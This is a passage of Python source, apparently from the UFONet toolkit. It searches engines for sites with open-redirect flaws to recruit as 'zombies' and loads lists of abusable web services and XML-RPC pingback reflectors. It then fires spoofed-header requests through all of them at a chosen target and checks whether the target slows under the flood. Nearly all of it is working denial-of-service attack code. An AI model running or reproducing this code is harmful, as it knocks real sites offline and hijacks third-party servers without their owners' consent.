# q = '"' + str(options.search) + '"' # set query to search literally on results
3886
# else:
3887
# q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
3888
# if options.dorks or options.autosearch: # search from a dork
3889
# if location == "jp":
3890
# q = '"' + str(dork) + '"' # set query to search literally on results
3891
# else:
3892
# q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
3893
# start = 0 # set index number of first entry
3894
# query_string = { 'p':q, 'b':start }
3895
# data = urllib.parse.urlencode(query_string)
3896
# url = url + data
3897
# self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
3898
# headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
3899
# if options.verbose:
3900
# print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
3901
# try:
3902
# if options.proxy: # set proxy
3903
# self.proxy_transport(options.proxy)
3904
# req = urllib.request.Request(url, None, headers)
3905
# req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
3906
# except:
3907
# print('[Error] [AI] Unable to connect to: yahoo\n')
3908
# if options.allengines or options.autosearch:
3909
# return
3910
# if not options.dorks or not options.autosearch:
3911
# if not self.options.forceyes:
3912
# update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
3913
# else:
3914
# update_reply = "Y"
3915
# if update_reply == "n" or update_reply == "N":
3916
# return #sys.exit(2)
3917
# print("\nSearch engines available:")
3918
# print('-'*25)
3919
# for e in self.search_engines:
3920
# print("+ "+e)
3921
# print('-'*25)
3922
# print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
3923
# return #sys.exit(2)
3924
# else:
3925
# req_reply = ''
3926
# #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
3927
# regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
3928
# pattern = re.compile(regex)
3929
# url_links = re.findall(pattern, req_reply)
3930
elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!] [25/08/2024 OK!]
3931
url = 'https://duckduckgo.com/html/'
3932
if options.search: # search from query
3933
q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
3934
if options.dorks or options.autosearch: # search from a dork
3935
q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
3936
query_string = { 'q':q }
3937
data = urllib.parse.urlencode(query_string)
3938
from duckduckgo_search import DDGS # import search engine wrapper lib
3939
if options.num_results: # set number of results to search
3940
try:
3941
num_results = int(options.num_results)
3942
except:
3943
print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
3944
num_results = 10
3945
else:
3946
num_results = 10
3947
if options.verbose:
3948
print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
3949
print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
3950
try:
3951
if options.proxy: # set proxy
3952
self.proxy_transport(options.proxy)
3953
req_reply = DDGS().text(data, safesearch='Off', max_results=num_results)
3954
except:
3955
print('[Error] [AI] Unable to connect to: duck\n')
3956
if options.allengines or options.autosearch:
3957
return
3958
if not options.dorks or not options.autosearch:
3959
if not self.options.forceyes:
3960
update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
3961
else:
3962
update_reply = "Y"
3963
if update_reply == "n" or update_reply == "N":
3964
return #sys.exit(2)
3965
print("\nSearch engines available:")
3966
print('-'*25)
3967
for e in self.search_engines:
3968
print("+ "+e)
3969
print('-'*25)
3970
print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
3971
return #sys.exit(2)
3972
else:
3973
req_reply = ''
3974
url_links = []
3975
for url_reply in req_reply:
3976
for key,value in url_reply.items():
3977
if key == "href":
3978
url_links.append(value)
3979
else: # no valid search engine
3980
print('[Error] [AI] This search engine is not supported!\n')
3981
if not options.dorks or options.autosearch:
3982
if not self.options.forceyes:
3983
update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
3984
else:
3985
update_reply = "Y"
3986
if update_reply == "n" or update_reply == "N":
3987
return #sys.exit(2)
3988
print("\nSearch engines available:")
3989
print('-'*25)
3990
for e in self.search_engines:
3991
print("+ "+e)
3992
print('-'*25)
3993
print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
3994
return #sys.exit(2)
3995
else:
3996
req_reply = ''
3997
if options.num_results: # set number of results to search
3998
try:
3999
num = int(options.num_results)
4000
except:
4001
print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
4002
num = 10
4003
else:
4004
num = 10
4005
total_results = 1
4006
for url in url_links: # general parse on urls
4007
if int(num) < int(total_results):
4008
break
4009
if options.engine == "bing":
4010
if " h=" in url: # regex magics [18/08/2016]
4011
url = url.rsplit('" h=',1)[0]
4012
#if options.engine == "yahoo":
4013
# if 'RU=' in url: # regex magics [18/08/2016]
4014
# url = url.rsplit('RU=',1)[1]
4015
# if 'UTF-8&u=' in url: # regex magics [05/02/2018]
4016
# url = url.rsplit('UTF-8&u=',1)[1]
4017
total_results = total_results + 1 # results counter
4018
url_link = urllib.parse.unquote(url) # unquote encoding
4019
if options.search:
4020
sep = str(options.search)
4021
if options.dorks or options.autosearch:
4022
sep = str(dork)
4023
url_link = url_link.rsplit(sep, 1)[0] + sep
4024
if 'href="' in url_link:
4025
url_link = url_link.rsplit('href="', 1)[1]
4026
if "instreamset" in url_link: # invalid zombie
4027
url_link = "" # discarded
4028
if '" ' in url_link:
4029
url_link = url_link.rsplit('" ', 1)[1]
4030
if options.engine in url_link:
4031
url_link = "" # discarded
4032
if 'http' not in url_link:
4033
url_link = "" # discarded
4034
else:
4035
if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "": # AI mode (parsing search engines mixed pool and stored army)
4036
print('+Victim found: ' + url_link)
4037
zombies.append(url_link)
4038
else:
4039
pass
4040
if len(zombies) == 0: # print dorking results
4041
print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
4042
if not options.dorks:
4043
if not options.autosearch:
4044
if not self.options.forceyes:
4045
return #sys.exit(2)
4046
self.total_possible_zombies = self.total_possible_zombies + len(zombies)
4047
print("")
4048
return zombies
4049
4050
def check_nat(self):
4051
# check for NAT configuration
4052
options = self.options
4053
tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
4054
your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
4055
check_ip_service = None
4056
if not tor_reply or 'Congratulations' not in tor_reply:
4057
print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
4058
else:
4059
print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
4060
self.nat_error_flag = "ON"
4061
return #sys.exit(2)
4062
try:
4063
data = str(urllib.request.urlopen(self.check_ip_service1).read()) # check for public ip
4064
self.pub_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(data).group(1)
4065
check_ip_service = self.check_ip_service1
4066
except:
4067
try: # another check for public ip
4068
data = str(urllib.request.urlopen(self.check_ip_service2).read())
4069
self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
4070
check_ip_service = self.check_ip_service2
4071
except:
4072
print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
4073
self.nat_error_flag = "ON"
4074
return
4075
t = urlparse(check_ip_service)
4076
name_service = t.netloc
4077
print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
4078
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
4079
s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
4080
self.local_ip = s.getsockname()[0]
4081
print(" + Local: " + self.local_ip + "\n")
4082
print('='*22 + '\n')
4083
4084
def extract_ucavs(self):
4085
# extract ucavs from file
4086
options = self.options
4087
try:
4088
f = open(self.ucavs_file)
4089
ucavs = f.readlines()
4090
ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
4091
f.close()
4092
if not ucavs:
4093
print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
4094
self.options.disableucavs = True
4095
return
4096
else:
4097
return ucavs
4098
except:
4099
if os.path.exists(self.ucavs_file) == True:
4100
print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
4101
return #sys.exit(2)
4102
else:
4103
print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
4104
return #sys.exit(2)
4105
4106
def discarding_ucavs(self, ucav, ucavs):
4107
if ucav in self.discard_ucavs:
4108
ucavs.remove(ucav)
4109
if self.options.verbose:
4110
print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
4111
self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
4112
return ucavs
4113
4114
def send_ucavs(self, ucavs):
4115
# extract external status checkers, perform a request and check results
4116
time.sleep(5) # aiming (multi-threading flow time compensation)
4117
if not self.options.disablepurge:
4118
if not ucavs: # return when not any working
4119
self.options.disableucavs = True
4120
return
4121
options = self.options
4122
target = self.options.target
4123
shuffle(ucavs) # shuffle ucavs order, each round :-)
4124
if not self.options.disablepurge:
4125
for ucav in ucavs:
4126
if not ucav.startswith('http'): # discarded inmediately
4127
self.discard_ucavs.append(ucav)
4128
self.num_discard_ucavs = self.num_discard_ucavs + 1
4129
ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
4130
if not self.options.disablepurge:
4131
if not ucavs: # return when not any working
4132
self.options.disableucavs = True
4133
return
4134
shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
4135
for ucav in ucavs:
4136
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
4137
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
4138
if target.startswith("http://"): # parse target for some checkers
4139
target = target.replace('http://','')
4140
elif target.startswith("https://"):
4141
target = target.replace('https://','')
4142
url = ucav + target
4143
t = urlparse(ucav)
4144
name_ucav = t.netloc
4145
if name_ucav == "":
4146
name_ucav = ucav
4147
if options.verbose:
4148
print(("[Info] [UCAVs] Sniping: " + url))
4149
try:
4150
if options.proxy: # set proxy
4151
self.proxy_transport(options.proxy)
4152
if options.timeout: # set timeout
4153
ucav_timeout = options.timeout
4154
else:
4155
ucav_timeout = 5
4156
if ucav_timeout < 1:
4157
ucav_timeout = 5
4158
req = urllib.request.Request(url, None, headers)
4159
target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
4160
self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
4161
except:
4162
print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
4163
if not self.options.disablepurge:
4164
self.discard_ucavs.append(ucav)
4165
self.num_discard_ucavs = self.num_discard_ucavs + 1
4166
self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
4167
target_reply = ""
4168
if target_reply == "": # check for target's status resolved by [UCAVs]
4169
pass
4170
else:
4171
if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
4172
print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
4173
self.num_is_up = self.num_is_up + 1
4174
else:
4175
print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
4176
self.num_is_down = self.num_is_down + 1
4177
if self.options.verbose:
4178
print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
4179
self.extra_zombies_lock = False # [ARMY] have finished
4180
4181
def extract_median(self, num_list):
4182
# extract median from a list of numbers
4183
import statistics
4184
int_num = []
4185
for num in num_list:
4186
num = float(num)
4187
int_num.append(num)
4188
return statistics.median(int_num)
4189
4190
def check_is_loading(self, target):
4191
# perform a broadband test (using GET) to analize target's reply to the traffic generated each round
4192
self.start = None
4193
self.stop = None
4194
print('\n---------')
4195
print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
4196
if target.endswith(""):
4197
target.replace("", "/")
4198
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
4199
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
4200
try:
4201
req = urllib.request.Request(target, None, headers)
4202
if self.options.proxy: # set proxy
4203
self.proxy_transport(self.options.proxy)
4204
if self.options.timeout: # set timeout
4205
try:
4206
timeout = int(self.options.timeout)
4207
except:
4208
timeout = 5
4209
else:
4210
timeout = 5
4211
if timeout < 1:
4212
timeout = 5
4213
self.start = time.time()
4214
target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
4215
header = urllib.request.urlopen(req, context=self.ctx).info()
4216
self.stop = time.time()
4217
except:
4218
print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
4219
return
4220
try:
4221
s, size_name = self.convert_size(len(target_reply))
4222
self.loadcheck_size_list.append(s) # add record to size list
4223
size = '%s %s' % (s,size_name)
4224
except:
4225
size = "Error!"
4226
try:
4227
time_required = self.stop - self.start
4228
load = self.convert_time(time_required)
4229
self.loadcheck_load_list.append(load) # add record to load list
4230
except:
4231
load = "Error!"
4232
self.loadcheck_counter = self.loadcheck_counter + 1
4233
print(' -Total tests:', self.loadcheck_counter, "\n")
4234
if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
4235
lsm = self.extract_median(self.loadcheck_size_list)
4236
if lsm is not None:
4237
self.loadcheck_size_median = str(lsm) + " " + size_name
4238
else:
4239
self.loadcheck_size_median = None
4240
llm = self.extract_median(self.loadcheck_load_list)
4241
if llm is not None:
4242
self.loadcheck_load_median = str(llm) + " seconds"
4243
else:
4244
self.loadcheck_load_median = None
4245
if self.loadcheck_counter == 2: # first round
4246
print(' -Bytes in (first round) :', self.loadcheck_first_size)
4247
print(' -Bytes in (this round) :', size)
4248
if self.loadcheck_size_median is not None:
4249
print(' -Bytes in (median) :', self.loadcheck_size_median)
4250
print(' ----')
4251
print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
4252
print(' -Load time (this round) :', load, "seconds")
4253
if self.loadcheck_load_median is not None:
4254
print(' -Load time (median) :', self.loadcheck_load_median, "\n")
4255
else:
4256
print("\n")
4257
self.loadcheck_size_max = None
4258
self.loadcheck_size_min = None
4259
self.loadcheck_load_max = None
4260
self.loadcheck_load_min = None
4261
elif self.loadcheck_counter > 2: # rest of rounds
4262
lsmax = max(self.loadcheck_size_list)
4263
if lsmax is not None:
4264
self.loadcheck_size_max = str(lsmax) + " " + size_name
4265
else:
4266
self.loadcheck_size_max = None
4267
lsmin = min(self.loadcheck_size_list)
4268
if lsmin is not None:
4269
self.loadcheck_size_min = str(lsmin) + " " + size_name
4270
else:
4271
self.loadcheck_size_min = None
4272
llmax = max(self.loadcheck_load_list)
4273
if llmax is not None:
4274
self.loadcheck_load_max = str(llmax) + " seconds"
4275
else:
4276
self.loadcheck_load_max = None
4277
llmin = min(self.loadcheck_load_list)
4278
if llmin is not None:
4279
self.loadcheck_load_min = str(llmin) + " seconds"
4280
else:
4281
self.loadcheck_load_min = None
4282
print(' -Bytes in (first round) :', self.loadcheck_first_size)
4283
print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
4284
print(' -Bytes in (this round) :', size)
4285
if self.loadcheck_size_max is not None:
4286
print(' -Bytes in (max) :', self.loadcheck_size_max)
4287
if self.loadcheck_size_min is not None:
4288
print(' -Bytes in (min) :', self.loadcheck_size_min)
4289
if self.loadcheck_size_median is not None:
4290
print(' -Bytes in (median) :', self.loadcheck_size_median)
4291
print(' ----')
4292
print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
4293
print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
4294
print(' -Load time (this round) :', load, "seconds")
4295
if self.loadcheck_load_max is not None:
4296
print(' -Load time (max) :', self.loadcheck_load_max)
4297
if self.loadcheck_load_min is not None:
4298
print(' -Load time (min) :', self.loadcheck_load_min)
4299
if self.loadcheck_load_median is not None:
4300
print(' -Load time (median) :', self.loadcheck_load_median, "\n")
4301
else:
4302
print("\n")
4303
if self.loadcheck_prev_load < load: # target is loading more slowly
4304
print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
4305
elif self.loadcheck_prev_load == load: # inmutable target
4306
print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
4307
elif self.loadcheck_prev_load > load: # is target defending?
4308
print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
4309
else:
4310
print(' -Bytes in (this round) :', size)
4311
print(' -Load time (this round):', load, "seconds\n")
4312
self.loadcheck_first_size = size
4313
self.loadcheck_first_load = load
4314
self.loadcheck_size_median = None
4315
self.loadcheck_load_median = None
4316
self.loadcheck_size_max = None
4317
self.loadcheck_size_min = None
4318
self.loadcheck_load_max = None
4319
self.loadcheck_load_min = None
4320
self.loadcheck_prev_size = size # record previous size
4321
self.loadcheck_prev_load = load # record previous load
4322
4323
def convert_size(self, size):
4324
if (size == 0):
4325
return '0 B'
4326
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
4327
i = int(math.floor(math.log(size,1024)))
4328
p = math.pow(1024,i)
4329
s = round(size/p,2)
4330
return s, size_name[i]
4331
4332
def convert_time(self, time):
4333
return '%.2f' % time
4334
4335
def discarding_zombies(self, zombie, zombies):
4336
if zombie in self.discardzombies:
4337
zombies.remove(zombie)
4338
if self.options.verbose:
4339
print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
4340
return zombies
4341
4342
def send_zombies(self, zombies):
4343
# send Open Redirect zombies
4344
time.sleep(1) # aiming (multi-threading flow time compensation)
4345
if not self.options.disablepurge:
4346
if not zombies:
4347
self.empty_zombies = True
4348
return
4349
if self.options.verbose:
4350
print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
4351
options = self.options
4352
target = self.options.target
4353
shuffle(zombies) # shuffle zombies order, each round :-)
4354
if not self.options.disablepurge:
4355
for zombie in zombies: # check if zombie is failing for autobalance army
4356
if not zombie.startswith('http'): # discarded inmediately
4357
self.discardzombies.append(zombie)
4358
self.num_discard_zombies = self.num_discard_zombies + 1
4359
zombies = self.discarding_zombies(zombie, zombies)
4360
if not self.options.disablepurge:
4361
if not zombies: # return when not any working
4362
self.empty_zombies = True
4363
return
4364
for zombie in zombies:
4365
t = urlparse(zombie)
4366
name_zombie = t.netloc
4367
if name_zombie == "":
4368
name_zombie = zombie
4369
if not self.options.attackme:
4370
print("[Info] [Zombies] Attacking from: " + name_zombie)
4371
else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
4372
self.mothership_hash = random.getrandbits(128) # generating random evasion hash
4373
target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
4374
self.options.target = target
4375
print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
4376
print("[Info] [Zombies] Payload: " + target)
4377
print('='*55, "\n")
4378
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
4379
if not options.target.startswith('http'):
4380
if options.forcessl:
4381
options.target = "https://" + options.target
4382
else:
4383
options.target = "http://" + options.target
4384
self.attack_mode = True
4385
try:
4386
if options.verbose:
4387
print("[Info] [Zombies] Sniping: " + options.target)
4388
self.connect_zombies(zombie)
4389
if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
4390
self.db_flash = self.db_flash + 1
4391
stress = self.stressing(target, zombie)
4392
except Exception:
4393
print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
4394
self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
4395
if not self.options.disablepurge:
4396
self.discardzombies.append(zombie)
4397
self.num_discard_zombies = self.num_discard_zombies + 1
4398
if self.options.verbose:
4399
print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
4400
self.attack_mode = False
4401
4402
def discarding_aliens(self, alien, aliens):
4403
if alien in self.discard_aliens:
4404
aliens.remove(alien)
4405
if self.options.verbose:
4406
print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
4407
self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
4408
return aliens
4409
4410
def send_aliens(self, aliens):
4411
# extract external web abuse services urls (POST) and perform requests against target
4412
time.sleep(2) # aiming (multi-threading flow time compensation)
4413
if not self.options.disablepurge:
4414
if not aliens: # return when not any working
4415
self.options.disablealiens = True
4416
return
4417
target = self.options.target
4418
options = self.options
4419
shuffle(aliens) # shuffle aliens
4420
if not self.options.disablepurge:
4421
for alien in aliens:
4422
if not alien.startswith('http'): # discarded inmediately
4423
self.discard_aliens.append(alien)
4424
self.num_discard_aliens = self.num_discard_aliens + 1
4425
aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
4426
if not self.options.disablepurge:
4427
if not aliens: # return when not any working
4428
self.options.disablealiens = True
4429
return
4430
shuffle(aliens) # shuffle aliens order, each discarding check :-)
4431
for alien in aliens:
4432
name_alien = None
4433
if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
4434
regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
4435
pattern_alien = re.compile(regex_alien)
4436
alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
4437
regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
4438
pattern_param = re.compile(regex_param)
4439
param = re.findall(pattern_param, alien) # HTTP POST params to submit
4440
for u in alien_url:
4441
url = u # ex: POST -> path/submit.php
4442
try:
4443
t = urlparse(url)
4444
except:
4445
pass
4446
name_alien = t.netloc
4447
if name_alien == "":
4448
name_alien = alien
4449
print("[Info] [Aliens] Attacking from: " + name_alien)
4450
for p in param:
4451
param_target = {p : target} # ex POST -> url=target
4452
param_target = urllib.parse.urlencode(param_target)
4453
try:
4454
if options.verbose:
4455
print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
4456
if options.proxy: # set proxy
4457
self.proxy_transport(options.proxy)
4458
if self.options.timeout: # set timeout
4459
try:
4460
alien_timeout = int(self.options.timeout)
4461
except:
4462
alien_timeout = 5
4463
else:
4464
alien_timeout = 5
4465
if alien_timeout < 1:
4466
alien_timeout = 5
4467
req = urllib.request.Request(url, param_target.encode('utf-8'))
4468
rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
4469
self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
4470
except Exception:
4471
print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
4472
self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
4473
if not self.options.disablepurge:
4474
self.discard_aliens.append(alien)
4475
self.num_discard_aliens = self.num_discard_aliens + 1
4476
else:
4477
print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
4478
self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
4479
if not self.options.disablepurge:
4480
self.discard_aliens.append(alien)
4481
self.num_discard_aliens = self.num_discard_aliens + 1
4482
if self.options.verbose:
4483
if name_alien:
4484
print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
4485
else:
4486
print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
4487
4488
if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
4489
self.extra_zombies_lock = False # [ARMY] have finished
4490
4491
def extract_aliens(self):
4492
# extract aliens from file
4493
options = self.options
4494
try:
4495
f = open(self.aliens_file)
4496
aliens = f.readlines()
4497
aliens = [ alien.replace('\n','') for alien in aliens ]
4498
f.close()
4499
if not aliens:
4500
print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
4501
self.options.disablealiens = True
4502
return
4503
else:
4504
return aliens
4505
except:
4506
if os.path.exists(self.aliens_file) == True:
4507
print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
4508
return #sys.exit(2)
4509
else:
4510
print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
4511
return #sys.exit(2)
4512
4513
def discarding_droids(self, droid, droids):
4514
if droid in self.discard_droids:
4515
droids.remove(droid)
4516
if self.options.verbose:
4517
print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
4518
self.droids_fail = self.droids_fail + 1 # add fail to droids stats
4519
return droids
4520
4521
def send_droids(self, droids):
4522
# extract external web abuse services urls (GET) and perform requests against target
4523
time.sleep(3) # aiming (multi-threading flow time compensation)
4524
if not self.options.disablepurge:
4525
if not droids: # return when not any working
4526
self.options.disabledroids = True
4527
return
4528
target = self.options.target
4529
try:
4530
target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
4531
except:
4532
target = urllib.parse.unquote(target)
4533
if target.startswith('http://'): # remove http
4534
target = target.replace('http://', '')
4535
if target.startswith('https://'):
4536
target = target.replace('https://', '') # remove https
4537
options = self.options
4538
shuffle(droids) # shuffle droids
4539
if not self.options.disablepurge:
4540
for droid in droids:
4541
if not droid.startswith('http'): # discarded inmediately
4542
self.discard_droids.append(droid)
4543
self.num_discard_droids = self.num_discard_droids + 1
4544
droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
4545
if not self.options.disablepurge:
4546
if not droids: # return when not any working
4547
self.options.disabledroids = True
4548
return
4549
shuffle(droids) # shuffle droids order, each discarding check :-)
4550
for droid in droids:
4551
name_droid = None
4552
if "$TARGET" in droid: # replace droid/parameter for target
4553
url = droid.replace("$TARGET", target)
4554
t = urlparse(url)
4555
name_droid = t.netloc
4556
if name_droid == "":
4557
name_droid = droid
4558
print("[Info] [Droids] Attacking from: " + name_droid)
4559
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
4560
headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
4561
try:
4562
if options.proxy: # set proxy
4563
self.proxy_transport(options.proxy)
4564
if self.options.timeout: # set timeout
4565
try:
4566
droid_timeout = int(self.options.timeout)
4567
except:
4568
droid_timeout = 5
4569
else:
4570
droid_timeout = 5
4571
if droid_timeout < 1:
4572
droid_timeout = 5
4573
req = urllib.request.Request(url, None, headers)
4574
rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
4575
self.droids_hit = self.droids_hit + 1 # add hit to droids stats
4576
except Exception:
4577
print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
4578
self.droids_fail = self.droids_fail + 1 # add fail to droids stats
4579
if not self.options.disablepurge:
4580
self.discard_droids.append(droid)
4581
self.num_discard_droids = self.num_discard_droids + 1
4582
else:
4583
print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
4584
self.droids_fail = self.droids_fail + 1 # add fail to droids stats
4585
if not self.options.disablepurge:
4586
self.discard_droids.append(droid)
4587
self.num_discard_droids = self.num_discard_droids + 1
4588
if self.options.verbose:
4589
if name_droid:
4590
print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
4591
else:
4592
print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
4593
4594
if self.options.disablerpcs and self.options.disableucavs:
4595
self.extra_zombies_lock = False # [ARMY] have finished
4596
4597
def extract_droids(self):
4598
# extract droids from file
4599
options = self.options
4600
try:
4601
f = open(self.droids_file)
4602
droids = f.readlines()
4603
droids = [ droid.replace('\n','') for droid in droids ]
4604
f.close()
4605
if not droids:
4606
print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
4607
self.options.disabledroids = True
4608
return
4609
else:
4610
return droids
4611
except:
4612
if os.path.exists(self.droids_file) == True:
4613
print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
4614
return #sys.exit(2)
4615
else:
4616
print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
4617
return #sys.exit(2)
4618
4619
def discarding_rpcs(self, rpc, rpcs):
4620
if rpc in self.discard_rpcs:
4621
rpcs.remove(rpc)
4622
if self.options.verbose:
4623
print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
4624
return rpcs
4625
4626
def send_rpcs(self, rpcs):
4627
# extract vulnerable XML-RPC pingback services and perform requests against target
4628
time.sleep(4) # aiming (multi-threading flow time compensation)
4629
if not self.options.disablepurge:
4630
if not rpcs: # return when not any working
4631
self.options.disablerpcs = True
4632
return
4633
target = self.options.target
4634
options = self.options
4635
def random_key(length):
4636
key = ''
4637
for i in range(length):
4638
key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
4639
return key
4640
shuffle(rpcs) # shuffle rpcs
4641
if not self.options.disablepurge:
4642
for rpc in rpcs:
4643
if not rpc.startswith('http'): # discarded inmediately
4644
if not self.options.disablepurge:
4645
self.discard_rpcs.append(rpc)
4646
self.num_discard_rpcs = self.num_discard_rpcs + 1
4647
self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
4648
rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
4649
if not self.options.disablepurge:
4650
if not rpcs: # return when not any working
4651
self.options.disablerpcs = True
4652
return
4653
shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
4654
for rpc in rpcs:
4655
t = urlparse(rpc)
4656
name_rpc = t.netloc
4657
if name_rpc == "":
4658
name_rpc = rpc
4659
print("[Info] [X-RPCs] Attacking from: " + name_rpc)
4660
